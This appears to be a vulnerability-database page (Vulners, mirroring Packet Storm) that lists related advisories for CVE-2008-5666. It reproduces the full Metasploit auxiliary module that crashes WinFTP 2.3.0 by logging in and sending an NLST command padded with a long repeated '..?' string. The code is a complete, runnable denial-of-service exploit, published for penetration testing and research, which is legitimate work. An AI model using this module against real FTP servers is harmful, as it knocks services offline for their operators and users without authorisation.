Lucene search
K

WinFTP 2.3.0 NLST Denial of Service

🗓️ 31 Aug 2024 00:00:00Reported by Kris Katterjohn, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 146 Views

WinFTP 2.3.0 NLST Denial of Service module for Metasploi

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-5666
26 Sep 200800:00
circl
Check Point Advisories
WinFTP Server NLST Command Denial of Service (CVE-2008-5666)
1 Dec 201400:00
checkpoint_advisories
CVE
CVE-2008-5666
18 Dec 200821:00
cve
Cvelist
CVE-2008-5666
18 Dec 200821:00
cvelist
Metasploit
WinFTP 2.3.0 NLST Denial of Service
30 Sep 200823:28
metasploit
NVD
CVE-2008-5666
19 Dec 200801:52
nvd
OpenVAS
WinFTP Server <= 2.3.0 PASV Command DoS Vulnerability
26 Dec 200800:00
openvas
OpenVAS
WinFTP Server PASV Command Denial of Service Vulnerability
26 Dec 200800:00
openvas
Prion
Command injection
19 Dec 200801:52
prion
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WinFTP 2.3.0 NLST Denial of Service',  
'Description' => %q{  
This module is a very rough port of Julien Bedard's  
PoC. You need a valid login, but even anonymous can  
do it if it has permission to call NLST.  
},  
'Author' => 'kris katterjohn',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2008-5666' ],  
[ 'OSVDB', '49043' ],  
[ 'EDB', '6581' ]  
],  
'DisclosureDate' => '2008-09-26'))  
end  
  
def run  
return unless connect_login  
  
# NLST has to follow a PORT or PASV  
resp = send_cmd(['PASV'])  
  
raw_send("NLST #{'..?' * 35000}\r\n")  
  
disconnect  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation